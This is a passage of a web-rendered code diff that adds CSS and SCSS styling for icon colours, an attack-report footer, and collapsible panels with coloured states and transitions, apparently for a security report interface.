color: #f0ad4e !important;
|
||||
}
|
||||
|
||||
.icon-danger {
|
||||
color: #d9acac !important;
|
||||
}
|
||||
|
||||
.icon-default {
|
||||
color: #e0ddde !important;
|
||||
}
|
||||
|
||||
.attack-legend {
|
||||
text-align: center;
|
||||
margin-bottom: 20px;
|
||||
|
@ -539,3 +555,9 @@ body {
|
|||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
}
|
||||
|
||||
.attack-report.footer-text{
|
||||
text-align: right;
|
||||
font-size: 0.8em;
|
||||
margin-top: 20px;
|
||||
}
|
||||
|
|
|
@ -0,0 +1,96 @@
|
|||
$transition: 500ms cubic-bezier(0.4, 0.1, 0.1, 0.5);
|
||||
|
||||
$danger-color: #d9acac;
|
||||
$info-color: #ade3eb;
|
||||
$default-color: #e0ddde;
|
||||
|
||||
.collapse-item button {
|
||||
font-size: inherit;
|
||||
margin: 0;
|
||||
padding: 1rem;
|
||||
background: transparent;
|
||||
border: 1px solid #ccc;
|
||||
box-shadow: none;
|
||||
-webkit-tap-highlight-color: rgba(0, 0, 0, 0);
|
||||
}
|
||||
|
||||
.collapse-item button span:first-child{
|
||||
text-align:left;
|
||||
}
|
||||
|
||||
.collapse-item button {
|
||||
width: 100%;
|
||||
box-shadow: 0 2px 6px #ccc;
|
||||
border: none;
|
||||
transition: background-color $transition;
|
||||
display: flex;
|
||||
font-family: inherit;
|
||||
> span {
|
||||
display: inline-block;
|
||||
flex: 4;
|
||||
text-align: right;
|
||||
|
||||
&:nth-child(2) {
|
||||
flex: 3;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
.collapse-danger {
|
||||
background-color: $danger-color !important;
|
||||
}
|
||||
|
||||
.collapse-info {
|
||||
background-color: $info-color !important;
|
||||
}
|
||||
|
||||
.collapse-default {
|
||||
background-color: $default-color !important;
|
||||
}
|
||||
|
||||
.collapse-item {
|
||||
padding: 0.5rem;
|
||||
&--active {
|
||||
.btn-collapse {
|
||||
background-color: #f7f7f7;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
.collapse-item .collapse-comp {
|
||||
padding: 0 7px 7px 7px;
|
||||
border: 2px solid rgb(232, 228, 228);
|
||||
border-top: 0;
|
||||
display:block !important;
|
||||
transition: height $transition;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.collapse-item .content {
|
||||
padding: 2rem 0;
|
||||
transition: transform $transition;
|
||||
will-change: transform;
|
||||
$offset: 10px;
|
||||
|
||||
&.collapsing {
|
||||
transform: translateY(-$offset);
|
||||
}
|
||||
&.collapse-comp {
|
||||
transform: translateY(-$offset);
|
||||
}
|
||||
&.expanding {
|
||||
transform: translateX(0px);
|
||||
}
|
||||
&.expanded {
|
||||
transform: translateX(0px);
|
||||
}
|
||||
}
|
||||
|
||||
.collapse-item .text {
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
.collapse-item .state {
|
||||
display: inline-block;
|
||||
min-width: 6em;
|
||||
}
|
Loading…
Reference in New Issue